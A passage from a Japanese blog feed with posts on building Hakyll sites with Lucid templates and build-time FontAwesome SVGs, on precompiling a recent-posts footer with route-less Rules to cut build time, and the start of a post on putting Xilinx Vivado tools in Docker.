    { runLucidTemplate :: LucidTemplateMonad a () }
```

[`Context a`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Web-Template-Context.html#t:Context) と [`Item a`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Core-Item.html#t:Item) は、[`ContextField`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Web-Template-Context.html#t:ContextField) を取り出す `unContext` を呼び出すときに必要となるパラメータです。ちなみに、`unContext` はこのようになっていますが

&gt; ```haskell
&gt; unContext :: String -&gt; [String] -&gt; Item a -&gt; Compiler ContextField
&gt; ```

この1つ目の `String` が field のキーに、2つ目の `[String]` が [`functionField`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Web-Template-Context.html#v:functionField) などを呼び出すときの引数に相当するようです。

テンプレートを適用するための関数はこんな感じ。`renderTextT` の後に `runReaderT` で `ReaderT` もほどいてやります。

```haskell
applyLucidTemplate :: LucidTemplate a -&gt; Context a -&gt; Item a -&gt; Compiler (Item String)
applyLucidTemplate tpl ctx item = do
  body &lt;- TL.unpack &lt;$&gt; runReaderT (renderTextT (runLucidTemplate tpl)) (ctx&apos;, item)
  return $ itemSetBody body item
  where ctx&apos; = ctx `mappend` missingField
```

そしてこんな関数を用意して

```haskell
lookupMeta :: String -&gt; LucidTemplateMonad a ContextField
lookupMeta k = do
  (c, i) &lt;- lift ask
  lift $ lift $ applyTemplateExpr c i (Ident (TemplateKey k))

-- https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/src/Hakyll-Web-Template-Internal.html#applyTemplate%27
applyTemplateExpr :: Context a -&gt; Item a -&gt; TemplateExpr -&gt; Compiler ContextField
applyTemplateExpr _ _ (StringLiteral s)         = return (StringField s)
applyTemplateExpr c i (Ident (TemplateKey k))   = unContext c k [] i
applyTemplateExpr c i (Call  (TemplateKey k) a) = do
  a&apos; &lt;- mapM (\e -&gt; applyTemplateExpr c i e &gt;&gt;= getString e) a
  unContext c k a&apos; i
  where getString _ (StringField s) = return s
        getString e (ListField _ _) =
          fail $ &quot;expected StringField but got ListField for expr &quot; ++ show e
```

テンプレート側ではこんな感じ書けるようにしてみました。

```haskell
postTemplate = LucidTemplate $ do
  StringField body &lt;- lookupMeta &quot;body&quot;
  -- ...
```

また、記事リストなどを受け渡すときに使う `ListField (Context a) [Item a]` のためにこんな関数も用意し

```haskell
withContext :: Monad m =&gt; a&apos; -&gt; HtmlT (ReaderT a&apos; m) r -&gt; HtmlT (ReaderT a m) r
withContext c = HtmlT . withReaderT (const c) . runHtmlT
```

テンプレート側ではこんな感じで記事リストが書けるようにしてみました。

```haskell
listTemplate :: LucidTemplate a
listTemplate = LucidTemplate $
  ul_ $ do
    ListField ctx items &lt;- lookupMeta &quot;posts&quot;
    forM_ (zip (repeat ctx) items) $ flip withContext $ do
      StringField title &lt;- lookupMeta &quot;title&quot;
      li_ $ toHtml title
```

余談ですが、[`TemplateExpr`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Web-Template-Internal-Element.html#t:TemplateExpr) などの扱いを調べるために Hakyll のソースを眺めたときに「はぇーーーーっ」ってなりました。個人的にとても衝撃的で、言語処理系を書いてみたくなりました。コンパイラの講義を履修していたこともあってその方面のことにもちょっと興味あったので、いつかやってみたいなと。

### FontAwesome の SVG を記事生成時に埋め込みたい

フロントエンドライブラリは、素直に npm で管理することにしました。例えば [KaTeX](https://khan.github.io/KaTeX/) の css やフォントをコピーする rule はこんな感じでです。`&quot;*.js&quot;` をコピーしていないのは、今回も例によってビルド時にレンダリングしており、必要ないためです。

```haskell
match (&quot;node_modules/katex/dist/**&quot; .&amp;&amp;. complement &quot;**.js&quot;) $ do
  route $ gsubRoute &quot;node_modules/katex/dist/&quot; (const &quot;vendor/katex/&quot;)
  compile copyFileCompiler
```

こうやってパッケージマネージャが管理するディレクトリ内を参照するのがあまり気にらないのですが、そういうものなんですかね...


さて、[FontAwesome](https://fontawesome.com/) の話に戻ります。知らないうちにバージョン 5.x が出ていた FontAwesome は、従来の Web フォントを使ったもののほかに、SVG を利用できるようになっていました。けれども、[推奨された使い方](https://fontawesome.com/how-to-use/svg-with-js)は JavaScript により表示された時に置き換えるというもの。うーん、静的サイトジェネレータ大好きマンとしては納得できないですね。

幸いにも、[Server Side Rendering に関するドキュメント](https://fontawesome.com/how-to-use/server-side-rendering) がありましたので、この辺を参考にやってみましょう。

まず、表示に必要になる CSS です。どうやら `fontawesome.dom.css()` を呼び出せばいいようなので、こんな感じの JavaScript を用意して

```javascript
#!/usr/bin/env node

const fontawesome = require(&apos;@fortawesome/fontawesome&apos;);
const brands      = require(&apos;@fortawesome/fontawesome-free-brands&apos;).default;
const solid       = require(&apos;@fortawesome/fontawesome-free-solid&apos;).default;

fontawesome.library.add(brands);
fontawesome.library.add(solid);

console.log(fontawesome.dom.css());
```

Haskell 側でこんな感じの rule を書いて、その実行結果を出力してみました。

```haskell
create [&quot;stylesheets/fontawesome.css&quot;] $ do
  route   idRoute
  compile $ unsafeCompiler (readProcess &quot;./fontawesome_css.js&quot; [] [])
    &gt;&gt;= makeItem . compressCss
```

次はアイコンです。[ドキュメント](https://fontawesome.com/how-to-use/font-awesome-api#icon)によると、`fontawesome.icon({prefix: prefix, iconName: name}).abstract` でこんな感じの情報を取得できるようです。これ、このまま HTML の要素にできそうですね。

&gt; ```javascript
&gt; [
&gt;   {
&gt;     &quot;tag&quot;: &quot;svg&quot;,
&gt;     &quot;attributes&quot;: {
&gt;       &quot;data-prefix&quot;: &quot;fa&quot;,
&gt;       &quot;data-icon&quot;: &quot;user&quot;,
&gt;       &quot;class&quot;: &quot;svg-inline--fa fa-user fa-w-16&quot;,
&gt;       &quot;role&quot;: &quot;img&quot;,
&gt;       &quot;xmlns&quot;: &quot;http://www.w3.org/2000/svg&quot;,
&gt;       &quot;viewBox&quot;: &quot;0 0 512 512&quot;
&gt;     },
&gt;     &quot;children&quot;: [
&gt;       {
&gt;         &quot;tag&quot;: &quot;path&quot;,
&gt;         &quot;attributes&quot;: {
&gt;           &quot;fill&quot;: &quot;currentColor&quot;,
&gt;           &quot;d&quot;: &quot;M96…112z&quot;
&gt;         }
&gt;       }
&gt;     ]
&gt;   }
&gt; ]
&gt; ```

ということで、まずは こんな感じの JavaScript で全アイコンの情報を JSON で出力します。

```javascript
#!/usr/bin/env node

const fontawesome = require(&apos;@fortawesome/fontawesome&apos;);
const brands      = require(&apos;@fortawesome/fontawesome-free-brands&apos;).default;
const solid       = require(&apos;@fortawesome/fontawesome-free-solid&apos;).default;

fontawesome.library.add(brands);
fontawesome.library.add(solid);

let o = {};
for (prefix in fontawesome.library.definitions) {
  o[prefix] = {};
  for (name in fontawesome.library.definitions[prefix]) {
    o[prefix][name] = fontawesome.icon({prefix: prefix, iconName: name}).abstract[0];
  }
}
console.log(JSON.stringify(o));
```

Haskell 側ではまず、JS 側で出力した JSON を読み込むためのデータ構造を作ってやります。[Aeson](https://hackage.haskell.org/package/aeson) 大好き。

```haskell
data Element = Element { tag        :: T.Text
                       , attributes :: [Attribute]
                       , children   :: [Element]
                       }
             deriving Show

instance FromJSON Element where
  parseJSON = withObject &quot;Element&quot; $ \o -&gt; do
    tag        &lt;- o .: &quot;tag&quot;
    attributes &lt;- objectToAttributes &lt;$&gt; o .:? &quot;attributes&quot; .!= HM.empty
    children   &lt;- o .:? &quot;children&quot; .!= []
    return Element {..}

    where objectToAttributes = map (uncurry makeAttribute) . HM.toList

-- FontAwesomeIcons [(prefix, [(name, icon-meta)])]
type FontAwesomeIcons = HM.HashMap T.Text (HM.HashMap T.Text Element)

parseFontAwesomeIcons :: String -&gt; Maybe FontAwesomeIcons
parseFontAwesomeIcons = decode . BSL.pack
```

次に、`FontAwesomeIcons` と `prefix`、`name` を与えたら Lucid の `HtmlT` を返す関数を作ってやります。

```haskell
fontawesome :: Monad m =&gt; FontAwesomeIcons -&gt; T.Text -&gt; T.Text -&gt; Maybe (HtmlT m ())
fontawesome db prefix name = toLucid &lt;$&gt; (HM.lookup prefix db &gt;&gt;= HM.lookup name)

toLucid :: Monad m =&gt; Element -&gt; HtmlT m ()
toLucid = termWith &lt;$&gt; tag &lt;*&gt; attributes &lt;*&gt; children&apos;
  where children&apos; = mconcat . map toLucid . children
```

いい感じですね。

```haskell
λ&gt; :m +System.Process 
λ&gt; Just db &lt;- parseFontAwesomeIcons &lt;$&gt; readProcess &quot;fontawesome_list.js&quot; [] []
λ&gt; fontawesome db &quot;fas&quot; &quot;plus&quot;
Just &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; aria-hidden=&quot;true&quot; data-prefix=&quot;fas&quot; viewBox=&quot;0 0 448 512&quot; role=&quot;img&quot; class=&quot;svg-inline--fa fa-plus fa-w-14&quot; data-icon=&quot;plus&quot;&gt;&lt;path d=&quot;M448 294.2v-76.4c0-13.3-10.7-24-24-24H286.2V56c0-13.3-10.7-24-24-24h-76.4c-13.3 0-24 10.7-24 24v137.8H24c-13.3 0-24 10.7-24 24v76.4c0 13.3 10.7 24 24 24h137.8V456c0 13.3 10.7 24 24 24h76.4c13.3 0 24-10.7 24-24V318.2H424c13.3 0 24-10.7 24-24z&quot; fill=&quot;currentColor&quot;&gt;&lt;/path&gt;&lt;/svg&gt;
```

これをテンプレートから直接呼んでもいいのですが、[`Text.HTML.TagSoup.Tree`](https://hackage.haskell.org/package/tagsoup-0.14.6/docs/Text-HTML-TagSoup-Tree.html) でページの HTML をパースし、`&quot;fas fa-plus&quot;` のようなclass が設定された要素を置換するコードを書いてみました。雑な実装ですが、こんな感じ。

```haskell
renderFontAwesome :: FontAwesomeIcons -&gt; Item String -&gt; Compiler (Item String)
renderFontAwesome icons = return . fmap
    (TS.renderTreeOptions tagSoupOption . TS.transformTree renderFontAwesome&apos; . TS.parseTree)
  where
    renderFontAwesome&apos; tag@(TS.TagBranch &quot;i&quot; as []) =
      case toFontAwesome $ classes as of
           Just html -&gt; TS.parseTree $ TL.unpack $ renderText html
           Nothing   -&gt; [tag]
    renderFontAwesome&apos; tag = [tag]

    toFontAwesome (prefix:(&apos;f&apos;:&apos;a&apos;:&apos;-&apos;:name):cs) =
      let prefix&apos;  = T.pack prefix
          name&apos;    = T.pack name
          classes&apos; = T.pack $ &quot; &quot; ++ unwords cs
      in  fmap (`with` [class_ classes&apos;]) (fontawesome icons prefix&apos; name&apos;)
    toFontAwesome _ = Nothing

    classes = words . fromMaybe &quot;&quot; . lookup &quot;class&quot;
```

あとは、rule をこんな感じに書けば置換してくれます。

```haskell
match &quot;posts/*&quot; $ do
  route $ setExtension &quot;html&quot;
  compile $ pandocCompiler
    &gt;&gt;= loadAndApplyTemplate &quot;templates/post.html&quot;    postCtx
    &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; postCtx
    &gt;&gt;= renderFontAwesome icons
```

## おわり

Hakyll、自分の好きな言語で細かなところまでいじれて、とてもおもしろい静的サイトジェネレータだなという感じです。ただ、こだわり始めると止まらなくなってしまう...

この記事に載せた Haskell のコードは、ほぼ全て `import` など一部の記述を省略しているので、詳しいことが気になったら [Tosainu/blog](https://github.com/Tosainu/blog) を見てください。うーん、複数ファイルにまたがるコードを部分的に紹介していくのってどうするのがいいんだろう...</content:encoded></item><item><title>route なしの Rules で Hakyll のビルドを高速化する</title><link>https://myon.info/blog/2018/08/16/non-route-rules/</link><guid isPermaLink="true">https://myon.info/blog/2018/08/16/non-route-rules/</guid><pubDate>Thu, 16 Aug 2018 00:00:00 GMT</pubDate><content:encoded>## TL;DR

- Hakyll の `Rules` で `route` は省略できる
    - 省略すると **compile されるが出力されない**
- この挙動は**何度も呼ばれる処理のプリコンパイル**に応用できそう
- [blog.myon.info](/) のフッタ生成処理にこれを採用して**ビルドを高速化**できた
    - 全ページのフッタに最新の記事へのリンクなどを入れているため時間がかかっていた

&lt;!--more--&gt;

## `route` なしの `Rules`

Hakyll の [`Rules`](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Rules.html) には、「どこに配置するのか」を指定する [`route`](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Rules.html#v:route) と「どう加工するか」を指定する [`compile`](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Rules.html#v:compile) を記述します。このうち `route` は、[ドキュメント](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Routes.html)にもあるように省略することができ、省略した場合はファイルが出力されなくなります。

&gt; Finally, some special cases:
&gt;
&gt; - &lt;u&gt;If there is no route for an item, this item will not be routed, so it will not appear in your site directory.&lt;/u&gt;
&gt; - If an item matches multiple routes, the first rule will be chosen.

実際に次のコードで確認してみましょう。

```haskell
#!/usr/bin/env stack
-- stack --resolver lts-12.6 script --package hakyll

{-# LANGUAGE OverloadedStrings #-}

import           Hakyll

main :: IO ()
main = hakyll $ do
  create [&quot;hoge.txt&quot;] $
    compile $
      makeItem (&quot;にゃーん&quot; :: String)

  create [&quot;fuga.txt&quot;] $ do
    route idRoute
    compile $ do
      hoge &lt;- loadBody &quot;hoge.txt&quot;
      makeItem $ (&quot;Λ__Λ &lt; &quot; &lt;&gt; hoge :: String)
```

コードを実行したあと出力ディレクトリを確認すると、`route` を指定した `fuga.txt` のみが出力されているのがわかります。また出力された `fuga.txt` の内容を確認してみると `hoge.txt` の `Rules` で指定した結果が表れており、`hoge.txt` の `compile` の処理はちゃんと実行されているのがわかります。

    $ chmod +x site.hs
    $ ./site.hs -v build
    Initialising...
      Creating store...
      Creating provider...
      Running rules...
    Checking for out-of-date items
      [DEBUG] fuga.txt is out-of-date because it is new
      [DEBUG] hoge.txt is out-of-date because it is new
    Compiling
      [DEBUG] Processing fuga.txt
      [DEBUG] Hakyll.Core.Compiler.Internal: Adding dependency: IdentifierDependency hoge.txt
      [DEBUG] Require hoge.txt (snapshot _final): chasing
      [DEBUG] Processing hoge.txt
      updated hoge.txt
      [DEBUG] Processing fuga.txt
      [DEBUG] Require hoge.txt (snapshot _final): OK
      [DEBUG] Processing fuga.txt
      updated fuga.txt
      [DEBUG] Routed to _site/fuga.txt
    Success
      [DEBUG] Removing tmp directory...
    $ ls _site/
    fuga.txt
    $ cat _site/fuga.txt
    Λ__Λ &lt; にゃーん


この挙動はうまく利用するといろいろなことができそうです。今回は何度も呼ばれる処理のプリコンパイルに使ってみた例を紹介したいと思います。

## 全ページに最新記事へのリンクを貼りたい

Hakyll で生成する全てのページに最新記事数件へのリンクを入れたいとします。ちょうどこのブログのフッタのような感じですね。

例として Hakyll のサンプルプロジェクトでこれをやってみます。stack でプロジェクトを作成し、

    $ stack --resolver lts-12.6 new site hakyll-template

デフォルトテンプレートをこんな感じに変更、

```diff
diff --git a/templates/default.html b/templates/default.html
index cd20808..980bb9b 100644
--- a/templates/default.html
+++ b/templates/default.html
@@ -25,6 +25,18 @@
 
             $body$
         &lt;/div&gt;
+
+        &lt;div id=&quot;recent-posts&quot;&gt;
+            &lt;h2&gt;Recent posts&lt;/h2&gt;
+            &lt;ul&gt;
+                $for(recent-posts)$
+                    &lt;li&gt;
+                        &lt;a href=&quot;$url$&quot;&gt;$title$&lt;/a&gt; - $date$
+                    &lt;/li&gt;
+                $endfor$
+            &lt;/ul&gt;
+        &lt;/div&gt;
+
         &lt;div id=&quot;footer&quot;&gt;
             Site proudly generated by
             &lt;a href=&quot;http://jaspervdj.be/hakyll&quot;&gt;Hakyll&lt;/a&gt;
```

最後に `site.hs` で最新記事の情報を `Context` に入れてやります。[`loadAll`](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Compiler.html#v:loadAll) を使うと `posts/*` などで依存関係のエラーが出てしまう[^1]ので、snapshot を作成してそれを利用するようにします。

[^1]: 自身が自身に依存してしまうので

```diff
diff --git a/site.hs b/site.hs
index 1214769..53650a8 100644
--- a/site.hs
+++ b/site.hs
@@ -17,16 +17,28 @@ main = hakyll $ do
 
     match (fromList [&quot;about.rst&quot;, &quot;contact.markdown&quot;]) $ do
         route   $ setExtension &quot;html&quot;
-        compile $ pandocCompiler
-            &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; defaultContext
-            &gt;&gt;= relativizeUrls
+        compile $ do
+            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
+            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+                      defaultContext
+
+            pandocCompiler
+                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
+                &gt;&gt;= relativizeUrls
 
     match &quot;posts/*&quot; $ do
         route $ setExtension &quot;html&quot;
-        compile $ pandocCompiler
-            &gt;&gt;= loadAndApplyTemplate &quot;templates/post.html&quot;    postCtx
-            &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; postCtx
-            &gt;&gt;= relativizeUrls
+        compile $ do
+            content &lt;- pandocCompiler
+                &gt;&gt;= saveSnapshot &quot;content&quot;
+
+            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
+            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+                      postCtx
+
+            loadAndApplyTemplate &quot;templates/post.html&quot; postCtx content
+                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
+                &gt;&gt;= relativizeUrls
 
     create [&quot;archive.html&quot;] $ do
         route idRoute
@@ -37,9 +49,13 @@ main = hakyll $ do
                     constField &quot;title&quot; &quot;Archives&quot;            `mappend`
                     defaultContext
 
+            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
+            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+                      archiveCtx
+
             makeItem &quot;&quot;
                 &gt;&gt;= loadAndApplyTemplate &quot;templates/archive.html&quot; archiveCtx
-                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; archiveCtx
+                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
                 &gt;&gt;= relativizeUrls
 
 
@@ -52,9 +68,13 @@ main = hakyll $ do
                     constField &quot;title&quot; &quot;Home&quot;                `mappend`
                     defaultContext
 
+            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
+            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+                      indexCtx
+
             getResourceBody
                 &gt;&gt;= applyAsTemplate indexCtx
-                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; indexCtx
+                &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
                 &gt;&gt;= relativizeUrls
 
     match &quot;templates/*&quot; $ compile templateCompiler
```

これでとりあえずの目的は達成できました。(この図は雑に記事を増やしたあとにキャプチャしたものです)

![hakyll1](./hakyll1.png)

### 遅い！！！

先程のコードのまま記事数を増やしてみます。すると・・・

    $ for y in {2016..2050}; do
        for m in {01..12}; do
          cp posts/{2015-08,$y-$m}-23-example.markdown
        done
      done
    $ time stack exec site rebuild
    Removing _site...
    Removing _cache...
    Removing _cache/tmp...
    Initialising...
      Creating store...
      Creating provider...
      Running rules...
    Checking for out-of-date items
    Compiling
      updated templates/default.html
      updated about.rst
      updated templates/post.html
      updated posts/2015-08-23-example.markdown
      updated posts/2016-01-23-example.markdown
      ...
      updated templates/post-list.html
      updated archive.html
      updated contact.markdown
      updated css/default.css
      updated index.html
    Success
    stack exec site rebuild  89.15s user 5.75s system 103% cpu 1:31.86 total

ビルドにめちゃくちゃ時間がかかるようになってしまいました。もちろん生成されるページ数が増えたというのもありますが、変更前はログがバッと流れていたものが、1行毎に一瞬止まるようになってしまいました。ページ生成毎に全ての記事情報を読み込んで並べ替えて...なんてやっているので仕方ないですが、やっぱりなんとかしたいところですね。

### `route` なし `Rules` を使ったプリコンパイル

最新記事を列挙する処理は各ページ固有の情報に依存しないので、全てのページで同じ結果になるはずです。ということは、あらかじめ最新記事リストを生成しておいて、各ページ生成時にその結果を呼び出すようにすれば高速化できそうです。これを `route` なし `Rules` を使って実装してみます。

まず、最新記事リストのテンプレート `templates/recent-posts.html` を作成します。

```html
&lt;div id=&quot;recent-posts&quot;&gt;
    &lt;h2&gt;Recent posts&lt;/h2&gt;
    &lt;ul&gt;
        $for(recent-posts)$
            &lt;li&gt;
                &lt;a href=&quot;$url$&quot;&gt;$title$&lt;/a&gt; - $date$
            &lt;/li&gt;
        $endfor$
    &lt;/ul&gt;
&lt;/div&gt;
```

このテンプレートを使って、`recent-posts.html` に最新記事リストを生成するようにします。このファイルはサイトを公開する際には必要ないので、`route` は記述しません。

```diff
diff --git a/site.hs b/site.hs
index 53650a8..2d738ab 100644
--- a/site.hs
+++ b/site.hs
@@ -77,6 +77,14 @@ main = hakyll $ do
                 &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
                 &gt;&gt;= relativizeUrls
 
+    create [&quot;recent-posts.html&quot;] $
+        compile $ do
+            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
+            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+                      defaultContext
+            makeItem &quot;&quot;
+                &gt;&gt;= loadAndApplyTemplate &quot;templates/recent-posts.html&quot; ctx
+
     match &quot;templates/*&quot; $ compile templateCompiler
```

そして、最新記事を毎回列挙するかわりに `recent-posts.html` を [`loadBody`](https://www.stackage.org/haddock/lts-12.6/hakyll-4.12.3.0/Hakyll-Core-Compiler.html#v:loadBody) するようにします。今回は読み込んだ最新記事リストを `recent-list` という `Context` でテンプレート側に渡すことにしました。

```diff
diff --git a/site.hs b/site.hs
index 2d738ab..7a9d26a 100644
--- a/site.hs
+++ b/site.hs
@@ -18,8 +18,8 @@ main = hakyll $ do
     match (fromList [&quot;about.rst&quot;, &quot;contact.markdown&quot;]) $ do
         route   $ setExtension &quot;html&quot;
         compile $ do
-            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
-            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+            recent &lt;- loadBody &quot;recent-posts.html&quot;
+            let ctx = constField &quot;recent-list&quot; recent `mappend`
                       defaultContext
 
             pandocCompiler
@@ -32,8 +32,8 @@ main = hakyll $ do
             content &lt;- pandocCompiler
                 &gt;&gt;= saveSnapshot &quot;content&quot;
 
-            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
-            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+            recent &lt;- loadBody &quot;recent-posts.html&quot;
+            let ctx = constField &quot;recent-list&quot; recent `mappend`
                       postCtx
 
             loadAndApplyTemplate &quot;templates/post.html&quot; postCtx content
@@ -49,8 +49,8 @@ main = hakyll $ do
                     constField &quot;title&quot; &quot;Archives&quot;            `mappend`
                     defaultContext
 
-            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
-            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+            recent &lt;- loadBody &quot;recent-posts.html&quot;
+            let ctx = constField &quot;recent-list&quot; recent `mappend`
                       archiveCtx
 
             makeItem &quot;&quot;
@@ -68,8 +68,8 @@ main = hakyll $ do
                     constField &quot;title&quot; &quot;Home&quot;                `mappend`
                     defaultContext
 
-            recent &lt;- fmap (take 5) . recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
-            let ctx = listField &quot;recent-posts&quot; postCtx (return recent) `mappend`
+            recent &lt;- loadBody &quot;recent-posts.html&quot;
+            let ctx = constField &quot;recent-list&quot; recent `mappend`
                       indexCtx
 
             getResourceBody
```

最後に、`templates/default.html` に追加した最新記事リスト生成部分を `$recent-list$` に変更します。

```diff
diff --git a/templates/default.html b/templates/default.html
index 980bb9b..0963027 100644
--- a/templates/default.html
+++ b/templates/default.html
@@ -26,16 +26,9 @@
             $body$
         &lt;/div&gt;
 
-        &lt;div id=&quot;recent-posts&quot;&gt;
-            &lt;h2&gt;Recent posts&lt;/h2&gt;
-            &lt;ul&gt;
-                $for(recent-posts)$
-                    &lt;li&gt;
-                        &lt;a href=&quot;$url$&quot;&gt;$title$&lt;/a&gt; - $date$
-                    &lt;/li&gt;
-                $endfor$
-            &lt;/ul&gt;
-        &lt;/div&gt;
+        $if(recent-list)$
+            $recent-list$
+        $endif$
 
         &lt;div id=&quot;footer&quot;&gt;
             Site proudly generated by
````

これで再度ビルドしてみます。すると・・・

    $ time stack exec site rebuild
    Removing _site...
    Removing _cache...
    Removing _cache/tmp...
    Initialising...
      Creating store...
      Creating provider...
      Running rules...
    Checking for out-of-date items
    Compiling
      updated templates/recent-posts.html
      updated recent-posts.html
      updated templates/default.html
      updated about.rst
      updated templates/post.html
      updated posts/2015-08-23-example.markdown
      updated posts/2016-01-23-example.markdown
      ...
      updated templates/post-list.html
      updated archive.html
      updated contact.markdown
      updated css/default.css
      updated index.html
    Success
    stack exec site rebuild  3.93s user 0.31s system 103% cpu 4.098 total

めちゃくちゃ速くなりました ∩(＞◡＜*)∩

## まとめ

`route` なしの `Rules` の挙動を使ってプリコンパイルのようなことを行い、ビルドを高速化する方法を紹介しました。[blog.myon.info](/) では、この方法でフッタのプリコンパイルをするようにしたことで、1分半程度掛かっていたビルドが40秒ほどで済むようになりました。

`route` なしの `Rules` の活用法はまだたくさんありそうです。[Extra Dependencies in Hakyll - Blaenk Denum](https://www.blaenkdenum.com/posts/extra-dependencies-in-hakyll/) では、scss のような複数のファイルから1つのファイルを生成したいというケースを Extra Dependencies を使って実現する例を紹介していますが、ここでも活躍しています。

ということで、Hakyll 便利なのでみんな使いましょう！</content:encoded></item><item><title>Xilinx の開発ツールを Docker コンテナに閉じ込める</title><link>https://myon.info/blog/2018/09/15/install-xilinx-tools-into-docker-container/</link><guid isPermaLink="true">https://myon.info/blog/2018/09/15/install-xilinx-tools-into-docker-container/</guid><pubDate>Sat, 15 Sep 2018 00:00:00 GMT</pubDate><content:encoded>**2024-07-06 追記**: 最近の状況などを反映した補足記事書きました → [「リンク」]()

あまり表には出していませんでしたが、少し前から FPGA を触っています。FPGA は以前から興味があったデバイスの1つだったこともあり、苦戦しながらも今まで触れたことのない概念の連続をなんだかんだで楽しんでいる気がします。欲を言えば、FPGA ともう少し普通の出会い方をし、普通の環境で勉強したかったなぁというのがありますが...

その話は置いておき本題、FPGA の開発環境の話です。世の中で FPGA を使った開発が一般にどのように行われているかは詳しく知りませんが、その1つとして FPGA ベンダの提供する開発環境を利用するというのがあります。例えば最近の Xilinx なら [Vivado Design Suite](https://www.xilinx.com/products/design-tools/vivado.html) (Vivado) という感じです。さてこの Vivado、Windows 版に加えて Linux 版もあるのですが、これがこういうソフトウェアにありがちなインストーラ形式で配布されています。つまり、ディストリビューションのパッケージマネージャに管理されたインストールが困難で、おまけに動作保証されている環境が限られているわけです。(╯•﹏•╰)

また、もう1つ利用頻度がそこそこ高くなる場合のある Xilinx の開発ツールに [PetaLinux Tools](https://www.xilinx.com/products/design-tools/embedded-software/petalinux-sdk.html) というのがあるのですが、これがまぁ本っっっっっっっっ当にアレなインストーラ形式で配布されており、二度と1から環境構築したくなくなるような作りになっていたりするわけです。

こうした環境汚染を平気でしてきたりするお行儀のわるいソフトウェアは Docker コンテナに閉じ込めてしまおうということで、その時の知見を書いていこうと思います。

&lt;!--more--&gt;

## 環境

以下の環境で Docker イメージ作成できることを確認しました。また作成した Docker イメージ内のソフトウェアは Arch Linux と PetaLinux Tools の組み合わせを除き (僕が触った各機能は) ほぼ問題なく利用できることを確認しました。

- Arch Linux (x86_64)
    - Kernel: 4.18.6-arch1-1-ARCH
    - Docker: 18.06.1-ce
- CentOS Linux release 7.5.1804 (Core)
    - Kernel: 3.10.0-862.11.6.el7.x86_64
    - Docker: 18.06.1-ce
        - [この公式ドキュメント](https://docs.docker.com/install/linux/docker-ce/centos/)を参考にインストールしたもの

インストールした各種 Xilinx 製ツールのバージョンは以下のとおりです

- Vivado Design Suite (2018.2)
    - Vivado HL WebPACK Edition
    - 8/1 に出たらしい 2018.2.1 のアップデータは適用していません
- PetaLinux Tools (2018.2)

## Vivado

### 準備

Docker イメージを作成する前にいくつかの準備が必要です。

まずインストーラをダウンロードします。これはダウンロードに Xilinx のアカウントが必要で、`Dockerfile` から `curl` 等でダウンロードするということができないためです。[ここ](https://www.xilinx.com/support/download.html) へアクセスし、**Vivado HLx 2018.2: All OS installer Single-File Download** のリンクからインストーラをダウンロードします。Web Installer は `Dockerfile` でインストールを自動化するにあたり必要になる Batch install が使えない[^1]のでダメです。

![](./vivado_website.png)

次に Batch install に必要なインストールの設定ファイルを生成します。この設定ファイルはダウンロードしたファイルを解凍すると出てくるシェルスクリプト `xsetup` にコマンドラインオプション `-b ConfigGen` を付けて実行することで生成できます。この `xsetup` も勝手に `~/.Xilinx` ディレクトリを作成したりしてくるし、そもそも拾ってきた実行ファイルをむやみにホストで直に実行したくないので Docker コンテナの中でやってしまいましょう。

    (host) $ tar xf Xilinx_Vivado_SDK_2018.2_0614_1954.tar.gz
    (host) $ docker container run --rm -it -v /path/to/Xilinx_Vivado_SDK_2018.2_0614_1954:/vivado -w /vivado ubuntu:xenial /bin/bash
    root@a0981b2888bc:/vivado# ./xsetup -b ConfigGen
    Running in batch mode...
    Copyright (c) 1986-2018 Xilinx, Inc.  All rights reserved.
